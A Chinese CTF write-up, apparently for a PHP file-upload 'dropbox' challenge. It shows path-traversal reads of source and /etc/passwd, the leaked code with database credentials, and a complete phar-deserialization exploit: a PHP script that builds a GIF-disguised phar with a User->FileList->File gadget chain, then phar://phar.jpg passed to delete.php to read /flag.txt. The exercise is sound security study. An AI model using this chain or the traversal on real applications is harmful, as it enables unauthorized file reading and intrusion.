目录
题目分析
功能测试
注册登录后来到上传文件界面,通过改后缀,改文件头,改content-type,上传了一句话木马,但是后缀会被改为jpg,无法利用
对于上传的文件,有下载和删除的功能
抓包看看下载功能,可以读取/etc/passwd,没能读到flag
可以读取到页面的源代码
filename=../../index.php
代码读取
index.php
<?phpinclude"class.php";$a=newFileList($_SESSION['sandbox']);$a->Name();$a->Size();?>
得知存在class.php
download.php
<?phpsession_start();if(!isset($_SESSION['login'])){header("Location: login.php");die();}if(!isset($_POST['filename'])){die();}include"class.php";ini_set("open_basedir",getcwd().":/etc:/tmp");chdir($_SESSION['sandbox']);$file=newFile();$filename=(string)$_POST['filename'];if(strlen($filename)<40&&$file->open($filename)&&stristr($filename,"flag")===false){Header("Content-type: application/octet-stream");Header("Content-Disposition: attachment; filename=".basename($filename));echo$file->close();}else{echo"File not exist";}?>
delete.php
<?phpsession_start();if(!isset($_SESSION['login'])){header("Location: login.php");die();}if(!isset($_POST['filename'])){die();}include"class.php";chdir($_SESSION['sandbox']);$file=newFile();$filename=(string)$_POST['filename'];if(strlen($filename)<40&&$file->open($filename)){$file->detele();Header("Content-type: application/json");$response=array("success"=>true,"error"=>"");echojson_encode($response);}else{Header("Content-type: application/json");$response=array("success"=>false,"error"=>"File not exist");echojson_encode($response);}?>
class.php
<?phperror_reporting(0);$dbaddr="127.0.0.1";$dbuser="root";$dbpass="root";$dbname="dropbox";$db=newmysqli($dbaddr,$dbuser,$dbpass,$dbname);classUser{public$db;publicfunction__construct(){global$db;$this->db=$db;}publicfunctionuser_exist($username){$stmt=$this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s",$username);$stmt->execute();$stmt->store_result();$count=$stmt->num_rows;if($count===0){returnfalse;}returntrue;}publicfunctionadd_user($username,$password){if($this->user_exist($username)){returnfalse;}$password=sha1($password."SiAchGHmFx");$stmt=$this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss",$username,$password);$stmt->execute();returntrue;}publicfunctionverify_user($username,$password){if(!$this->user_exist($username)){returnfalse;}$password=sha1($password."SiAchGHmFx");$stmt=$this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s",$username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if(isset($expect)&&$expect===$password){returntrue;}returnfalse;}publicfunction__destruct(){$this->db->close();}}classFileList{private$files;private$results;private$funcs;publicfunction__construct($path){$this->files=array();$this->results=array();$this->funcs=array();$filenames=scandir($path);$key=array_search(".",$filenames);unset($filenames[$key]);$key=array_search("..",$filenames);unset($filenames[$key]);foreach($filenamesas$filename){$file=newFile();$file->open($path.$filename);array_push($this->files,$file);$this->results[$file->name()]=array();}}publicfunction__call($func,$args){array_push($this->funcs,$func);foreach($this->filesas$file){$this->results[$file->name()][$func]=$file->$func();}}publicfunction__destruct(){$table='<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table.='<thead><tr>';foreach($this->funcsas$func){$table.='<th scope="col" class="text-center">'.htmlentities($func).'</th>';}$table.='<th scope="col" class="text-center">Opt</th>';$table.='</thead><tbody>';foreach($this->resultsas$filename=>$result){$table.='<tr>';foreach($resultas$func=>$value){$table.='<td class="text-center">'.htmlentities($value).'</td>';}$table.='<td class="text-center" filename="'.htmlentities($filename).'"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table.='</tr>';}echo$table;}}classFile{public$filename;publicfunctionopen($filename){$this->filename=$filename;if(file_exists($filename)&&!is_dir($filename)){returntrue;}else{returnfalse;}}publicfunctionname(){returnbasename($this->filename);}publicfunctionsize(){$size=filesize($this->filename);$units=array(' B',' KB',' MB',' GB',' TB');for($i=0;$size>=1024&&$i<4;$i++)$size/=1024;returnround($size,2).$units[$i];}publicfunctiondetele(){unlink($this->filename);}publicfunctionclose(){returnfile_get_contents($this->filename);}}?>
关键代码审计
主要利用class.php来得到flag
user类
publicfunction__destruct(){$this->db->close();}
可以通过这个析构函数调用其他类
FileList类
__call() 是一个特殊的魔术方法(magic method),用于在对象中调用一个不存在或不可访问的方法时自动调用。它允许类在运行时捕获对未定义方法的调用,从而实现动态方法调用的功能
File类
publicfunctionclose(){returnfile_get_contents($this->filename);}
通过这个函数读取文件
读到的文件在析构的时候可以显示出来
思路
user类–>$this->db->close()–>FileList类–>__call()–>File类–>close()
不存在反序列化,那如何实现调用呢?
链接:『PHP』phar文件详解_phar文件格式_调用phar类方法生成phar文件_php phar-CSDN博客
可以使用phar伪协议,meta-data保存信息,它是序列化后的信息,phar://伪协议可以让一些函数自动反序列化这个字段信息
不管文件后缀名是什么,都会按照.phar来解析
通过脚本,生成.phar文件,上传之后伪协议读取
解题步骤
php脚本
<?phpclassUser{public$db;}classFileList{private$files=array();publicfunction__construct(){$file=newFile();array_push($this->files,$file);}}classFile{public$filename='/flag.txt';}$phar=newPhar('phar.phar');$phar->startBuffering();$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar->addFromString('test.txt','test');//添加要压缩的文件$obj=newUser();$obj->db=newFileList();$phar->setMetadata($obj);//将自定义的metadata存入manifest$phar->stopBuffering();?>
在同级目录下生成,phar文件
注意,将配置文件php.ini里边的phar.readonly设置为Off,去掉前面的分号
解题
将生成的文件后缀改为jpg后上传
点击删除并抓包,修改文件名(下载页面对flag字段有过滤)
得到flag
filename=phar://phar.jpg
版权归原作者 白初& 所有, 如有侵权,请联系我们删除。